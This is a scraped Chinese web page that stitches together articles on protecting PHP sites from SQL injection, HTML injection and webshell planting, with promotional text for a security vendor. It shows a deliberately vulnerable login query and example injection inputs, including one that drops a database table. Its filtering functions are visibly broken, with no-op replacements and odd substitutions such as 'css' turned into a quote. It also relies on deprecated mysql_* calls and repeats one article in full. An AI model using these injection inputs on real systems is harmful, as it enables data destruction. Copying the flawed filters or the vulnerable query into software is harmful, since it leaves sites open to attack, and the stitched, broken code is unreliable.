$q = mysql_query("SELECT `id` FROM `users` WHERE `username`= ' " .mysql_real_escape_string( $_GET['username'] ). " ' AND `password`= ' " .mysql_real_escape_string( $_GET['password'] ). " ' ", $database);?>除此之外,我们还可以在PHP代码中判断输入值的长度,或者专门用一个函数来检查输入的值。所以在接受用户输入值的地方一定要做好输入内容的过滤和检查。当然学习和了解最新的SQL注入方式也非常重要,这样才能做到有目的的防范。如果使用的是平台式的网站系统如Wordpress,要注意及时打上官方的补丁或升级到新的版本。

PHP代码网站如何防范SQL注入漏洞攻击建议分享

做为网络开发者的你对这种黑客行为恨之入骨,当然也有必要了解一下SQL注入这种功能方式的原理并学会如何通过代码来保护自己的网站数据库。今天就通过PHP和MySQL数据库为例,分享一下我所了解的SQL注入攻击和一些简单的防范措施和一些如何避免SQL注入攻击的建议。
简单来说,SQL注入是使用代码漏洞来获取网站或应用程序后台的SQL数据库中的数据,进而可以取得数据库的访问权限。比如,黑客可以利用网站代码的漏洞,使用SQL注入的方式取得一个公司网站后台数据库里所有的数据信息。拿到数据库管理员登录用户名和密码后黑客可以自由修改数据库中的内容甚至删除该数据库。SQL注入也可以用来检验一个网站或应用的安全性。SQL注入的方式有很多种,但本文将只讨论最基本的原理,我们将以PHP和MySQL为例。本文的例子很简单,如果你使用其它语言理解起来也不会有难度,重点关注SQL命令即可。
一个简单的SQL注入攻击案例
假如我们有一个公司网站,在网站的后台数据库中保存了所有的客户数据等重要信息。假如网站登录页面的代码中有这样一条命令来读取用户信息。
$q = "SELECT `id` FROM `users` WHERE `username`= ' " .$_GET['username']. " ' AND `password`= ' " .$_GET['password']. " ' ";?>现在有一个黑客想攻击你的数据库,他会尝试在此登录页面的用户名的输入框中输入以下代码:
' ; SHOW TABLES;
点击登陆键,这个页面就会显示出数据库中的所有表。如果他现在使用下面这行命令:
'; DROP TABLE [table name];
这样他就把一张表删除了!
防范SQL注入 - 使用mysql_real_escape_string()函数
在数据库操作的代码中用这个函数mysql_real_escape_string()可以将代码中特殊字符过滤掉,如引号等。如下例:
$q = "SELECT `id` FROM `users` WHERE `username`= ' " .mysql_real_escape_string( $_GET['username'] ). " ' AND `password`= ' " .mysql_real_escape_string( $_GET['password'] ). " ' ";?>防范SQL注入 - 使用mysql_query()函数
mysql_query()的特别是它将只执行SQL代码的第一条,而后面的并不会执行。回想在最前面的例子中,黑客通过代码来例后台执行了多条SQL命令,显示出了所有表的名称。所以mysql_query()函数可以取到进一步保护的作用。我们进一步演化刚才的代码就得到了下面的代码:
//connection
$database = mysql_connect("localhost", "username","password");
//db selection
$q = mysql_query("SELECT `id` FROM `users` WHERE `username`= ' " .mysql_real_escape_string( $_GET['username'] ). " ' AND `password`= ' " .mysql_real_escape_string( $_GET['password'] ). " ' ", $database);?>除此之外,我们还可以在PHP代码中判断输入值的长度,或者专门用一个函数来检查输入的值。所以在接受用户输入值的地方一定要做好输入内容的过滤和检查。当然学习和了解最新的SQL注入方式也非常重要,这样才能做到有目的的防范。如果使用的是平台式的网站系统如Wordpress,要注意及时打上官方的补丁或升级到新的版本。

如何防止代码注入攻击在PHP

一,HTML防注入。

一般的html注入都是在字符串中加入了html标签,用下JAVA代码可以去掉这部分代码。

代码如下,自己封装成方法即可。

String msge = "asdasdasdasd <div id=\"f\">asdfsdf";

System.out.println(msge);

msge = msge.replace("&", "&");

msge = msge.replace("<", "<");

msge = msge.replace(" ", " ");

msge = msge.replace(">", ">");

msge = msge.replace("\"", """);

msge = msge.replace("'", "&qpos;");

System.out.println(msge);

二、防SQL注入

最简单最容易的是用户输入。

简单点的就是不允许用户输入单引号 和 --,因为单引号号--在SQL中都是影响执行的。

但SQL注入是多方面的,防止的方法也有很多种。

1、地址栏禁止特殊字符防SQL注入

把特殊字符(如and、or、'、")都禁止提交就可以防止注入了。

2、php过滤html字符串,防止SQL注入

批量过滤post,get敏感数据

$_GET = stripslashes_array($_GET);

$_POST = stripslashes_array($_POST);

数据过滤函数

function stripslashes_array(&$array) {

while(list($key,$var) = each($array)) {

if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {

if (is_string($var)) {

$array[$key] = stripslashes($var);

}

if (is_array($var)) {

$array[$key] = stripslashes_array($var);

}

}

}

return $array;

}

3、替换HTML尾标签

function lib_replace_end_tag($str)

{

if (empty($str)) return false;

$str = htmlspecialchars($str);

$str = str_replace( '/', "", $str);

$str = str_replace("\\", "", $str);

$str = str_replace(">", "", $str);

$str = str_replace("<", "", $str);

$str = str_replace("<SCRIPT>", "", $str);

$str = str_replace("</SCRIPT>", "", $str);

$str = str_replace("<script>", "", $str);

$str = str_replace("</script>", "", $str);

$str=str_replace("select","select",$str);

$str=str_replace("join","join",$str);

$str=str_replace("union","union",$str);

$str=str_replace("where","where",$str);

$str=str_replace("insert","insert",$str);

$str=str_replace("delete","delete",$str);

$str=str_replace("update","update",$str);

$str=str_replace("like","like",$str);

$str=str_replace("drop","drop",$str);

$str=str_replace("create","create",$str);

$str=str_replace("modify","modify",$str);

$str=str_replace("rename","rename",$str);

$str=str_replace("alter","alter",$str);

$str=str_replace("cas","cast",$str);

$str=str_replace("&","&",$str);

$str=str_replace(">",">",$str);

$str=str_replace("<","<",$str);

$str=str_replace(" ",chr(32),$str);

$str=str_replace(" ",chr(9),$str);

$str=str_replace(" ",chr(9),$str);

$str=str_replace("&",chr(34),$str);

$str=str_replace("'",chr(39),$str);

$str=str_replace("<br />",chr(13),$str);

$str=str_replace("''","'",$str);

$str=str_replace("css","'",$str);

$str=str_replace("CSS","'",$str);

return $str;

}

三、专业的事情交给专业的工具去做。

安装安全软件。例如,在服务器中安装“服务器安全狗”,可以设置防注入,防攻击的设置,只要设置好安全规则,就可以屏蔽大多数攻击入侵。

怎么编写php代码才不会被SQL注入攻击

建站一段时间后总能听得到什么什么网站被挂马,什么网站被黑。好像入侵挂马似乎是件很简单的事情。其实,入侵不简单,简单的是你的网站的必要安全措施并未做好。
有条件建议找专业做网站安全的sine安全来做安全维护。

一:挂马预防措施:

1、建议用户通过ftp来上传、维护网页,尽量不安装asp的上传程序。

2、对asp上传程序的调用一定要进行身份认证,并只允许信任的人使用上传程序。这其中包括各种新闻发布、商城及论坛程

序,只要可以上传文件的asp都要进行身份认证!

3、asp程序管理员的用户名和密码要有一定复杂性,不能过于简单,还要注意定期更换。

4、到正规网站下载asp程序,下载后要对其数据库名称和存放路径进行修改,数据库文件名称也要有一定复杂性。
 
5、要尽量保持程序是最新版本。

6、不要在网页上加注后台管理程序登陆页面的链接。
  
7、为防止程序有未知漏洞,可以在维护后删除后台管理程序的登陆页面,下次维护时再通过ftp上传即可。

8、要时常备份数据库等重要文件。

9、日常要*护,并注意空间中是否有来历不明的asp文件。记住:一分汗水,换一分安全!

10、一旦发现被入侵,除非自己能识别出所有木马文件,否则要删除所有文件。

11、定期对网站进行安全的检测,具体可以利用网上一些工具,如sinesafe网站挂马检测工具!

二:挂马恢复措施:

1.修改帐号密码

不管是商业或不是,初始密码多半都是admin。因此你接到网站程序第一件事情就是“修改帐号密码”。帐号

密码就不要在使用以前你习惯的,换点特别的。尽量将字母数字及符号一起。此外密码最好超过15位。尚若你使用

SQL的话应该使用特别点的帐号密码,不要在使用什么什么admin之类,否则很容易被入侵。

2.创建一个robots.txt

Robots能够有效的防范利用搜索引擎窃取信息的骇客。

3.修改后台文件

第一步:修改后台里的验证文件的名称。

第二步:修改conn.asp,防止非法下载,也可对数据库加密后在修改conn.asp。

第三步:修改ACESS数据库名称,越复杂越好,可以的话将数据所在目录的换一下。

4.*登陆后台IP

此方法是最有效的,每位虚拟主机用户应该都有个功能。你的IP不固定的话就麻烦点每次改一下咯,安全第一嘛。

5.自定义404页面及自定义传送ASP错误信息

404能够让骇客批量查找你的后台一些重要文件及检查网页是否存在注入漏洞。

ASP错误嘛,可能会向不明来意者传送对方想要的信息。

6.慎重选择网站程序

注意一下网站程序是否本身存在漏洞,好坏你我心里该有把秤。

7.谨慎上传漏洞

据悉,上传漏洞往往是最简单也是最严重的,能够让黑客或骇客们轻松控制你的网站。

可以禁止上传或着*上传的文件类型。不懂的话可以找你的网站程序提供商。

8. cookie 保护

登陆时尽量不要去访问其他站点,以防止 cookie 泄密。切记退出时要点退出在关闭所有浏览器。

9.目录权限

请管理员设置好一些重要的目录权限,防止非正常的访问。如不要给上传目录执行脚本权限及不要给非上传目录给于写入权。

10.自我测试

如今在网上黑客工具一箩筐,不防找一些来测试下你的网站是否OK。

11.例行维护

a.定期备份数据。最好每日备份一次,下载了备份文件后应该及时删除主机上的备份文件。

b.定期更改数据库的名字及管理员帐密。

c.借WEB或FTP管理,查看所有目录体积,最后修改时间以及文件数,检查是文件是否有异常,以及查看是否有异常的账号。

网站被挂马一般都是网站程序存在漏洞或者服务器安全性能不达标被不法黑客入侵攻击而挂马的。

网站被挂马是普遍存在现象然而也是每一个网站运营者的心腹之患。

您是否因为网站和服务器天天被入侵挂马等问题也曾有过想放弃的想法呢,您否也因为不太了解网站技术的问题而耽误了网站的运营,您是否也因为精心运营的网站反反复复被一些无聊的黑客入侵挂马感到徬彷且很无耐。有条件建议找专业做网站安全的sine安全来做安全维护。

怎么编写php代码才不会被SQL注入攻击

建站一段时间后总能听得到什么什么网站被挂马,什么网站被黑。好像入侵挂马似乎是件很简单的事情。其实,入侵不简单,简单的是你的网站的必要安全措施并未做好。
有条件建议找专业做网站安全的sine安全来做安全维护。

一:挂马预防措施:

1、建议用户通过ftp来上传、维护网页,尽量不安装asp的上传程序。

2、对asp上传程序的调用一定要进行身份认证,并只允许信任的人使用上传程序。这其中包括各种新闻发布、商城及论坛程

序,只要可以上传文件的asp都要进行身份认证!

3、asp程序管理员的用户名和密码要有一定复杂性,不能过于简单,还要注意定期更换。

4、到正规网站下载asp程序,下载后要对其数据库名称和存放路径进行修改,数据库文件名称也要有一定复杂性。
 
5、要尽量保持程序是最新版本。

6、不要在网页上加注后台管理程序登陆页面的链接。
  
7、为防止程序有未知漏洞,可以在维护后删除后台管理程序的登陆页面,下次维护时再通过ftp上传即可。

8、要时常备份数据库等重要文件。

9、日常要*护,并注意空间中是否有来历不明的asp文件。记住:一分汗水,换一分安全!

10、一旦发现被入侵,除非自己能识别出所有木马文件,否则要删除所有文件。

11、定期对网站进行安全的检测,具体可以利用网上一些工具,如sinesafe网站挂马检测工具!

二:挂马恢复措施:

1.修改帐号密码

不管是商业或不是,初始密码多半都是admin。因此你接到网站程序第一件事情就是“修改帐号密码”。帐号

密码就不要在使用以前你习惯的,换点特别的。尽量将字母数字及符号一起。此外密码最好超过15位。尚若你使用

SQL的话应该使用特别点的帐号密码,不要在使用什么什么admin之类,否则很容易被入侵。

2.创建一个robots.txt

Robots能够有效的防范利用搜索引擎窃取信息的骇客。

3.修改后台文件

第一步:修改后台里的验证文件的名称。

第二步:修改conn.asp,防止非法下载,也可对数据库加密后在修改conn.asp。

第三步:修改ACESS数据库名称,越复杂越好,可以的话将数据所在目录的换一下。

4.*登陆后台IP

此方法是最有效的,每位虚拟主机用户应该都有个功能。你的IP不固定的话就麻烦点每次改一下咯,安全第一嘛。

5.自定义404页面及自定义传送ASP错误信息

404能够让骇客批量查找你的后台一些重要文件及检查网页是否存在注入漏洞。

ASP错误嘛,可能会向不明来意者传送对方想要的信息。

6.慎重选择网站程序

注意一下网站程序是否本身存在漏洞,好坏你我心里该有把秤。

7.谨慎上传漏洞

据悉,上传漏洞往往是最简单也是最严重的,能够让黑客或骇客们轻松控制你的网站。

可以禁止上传或着*上传的文件类型。不懂的话可以找你的网站程序提供商。

8. cookie 保护

登陆时尽量不要去访问其他站点,以防止 cookie 泄密。切记退出时要点退出在关闭所有浏览器。

9.目录权限

请管理员设置好一些重要的目录权限,防止非正常的访问。如不要给上传目录执行脚本权限及不要给非上传目录给于写入权。

10.自我测试

如今在网上黑客工具一箩筐,不防找一些来测试下你的网站是否OK。

11.例行维护

a.定期备份数据。最好每日备份一次,下载了备份文件后应该及时删除主机上的备份文件。

b.定期更改数据库的名字及管理员帐密。

c.借WEB或FTP管理,查看所有目录体积,最后修改时间以及文件数,检查是文件是否有异常,以及查看是否有异常的账号。

网站被挂马一般都是网站程序存在漏洞或者服务器安全性能不达标被不法黑客入侵攻击而挂马的。

网站被挂马是普遍存在现象然而也是每一个网站运营者的心腹之患。

您是否因为网站和服务器天天被入侵挂马等问题也曾有过想放弃的想法呢,您否也因为不太了解网站技术的问题而耽误了网站的运营,您是否也因为精心运营的网站反反复复被一些无聊的黑客入侵挂马感到徬彷且很无耐。有条件建议找专业做网站安全的sine安全来做安全维护。

微宠网还为您提供以下相关内容希望对您有帮助:

11种php编程典型安全隐患及处理

就能够抵制大部分的phpshell了 ( ) 关闭PHP版本信息在头中的泄漏 我们为了防止黑客获取服务器中php版本的信息 可以关闭该信息斜路在头中 expose_php = Off 比如黑客在 telnet chinaz 的时候 那么将无法看到PHP的信息 ( )...

php接口怎么保证安全性

接口的安全性主要围绕Token、Timestamp和Sign三个机制展开设计,保证接口的数据不会被篡改和重复调用,下面具体来看:(1)Token授权机制:(Token是客户端访问服务端的凭证)--用户使用用户名密码登录后服务器给客户端返回一个Toke...

php有什么安全规则,有哪些?

规则2:禁用那些使安全性难以实施的 PHP 设置已经知道了不能信任用户输入,还应该知道不应该信任机器上配置 PHP 的方式。例如,要确保禁用 register_globals。如果启用了 register_globals,就可能做一些粗心的事情,比如使用 $variable 替换同名...

PHP如何做好最基础的安全防范

防止SQL注入攻击需要做好两件事:对输入的参数总是进行类型验证对单引号、双引号、反引号等特殊字符总是使用mysql_real_escape_string函数进行转义但是,这里根据开发经验,不要开启php的Magic Quotes,这个特性在php6中已经废除,总是自己在需...

如何实现php的安全最大化?怎样避免sql注入漏洞和xss跨站脚本攻击漏洞...

使用php安全模式 服务器要做好管理,账号权限是否合理。假定所有用户的输入都是“恶意”的,防止XSS攻击,譬如:对用户的输入输出做好必要的过滤 防止CSRF,表单设置隐藏域,post一个随机字符串到后台,可以有效防止跨站请求伪造...

php开发api接口,如何做才算是安全的

只能说 比如在我做PHP开发过程的一些安全保护和在网络安全公司开发时的工作要求:1、最基础的,提供的api接口 要配置https。2、api返回响应的信息,要尽可能使用消息加密返回,如高位数的 rsa加密内容。3、接收的回调开放接口...

问:php网站的安全性考虑都有哪些

FROM tbl_employeeWHERE username = ’”.$username.“‘”);好了,在这篇简短的文章中,我们阐述了几个开发过程中不能忽视的PHP安全性问题。但是最终是否使用,如何使用还是开发人员来决定的。希望这篇文章能帮助到你们。

php安全配置 如何配置使其更安全

一、Web服务器安全PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装...

php配置防跨站、防跨目录安全

演示系统:centos 防跨站、防跨目录安全设置方法 第1步:登录到linux系统终端。第2步:找到并打开php配置文件。第3步:在php.ini最底部添加以下代码,并保存。大家可就按以下代码改成自己网站的配置即可。[HOST=www.45it....

php代码怎么加密最好,不能破解的那种

在加密的过程,我们还有一个非常常见的小伙伴:盐值。对,我们在加密的时候其实会给加密的字符串添加一个额外的字符串,以达到提高一定安全的目的:&lt;?php function generateHashWithSalt($password) {$intermediateSalt = md5...

Top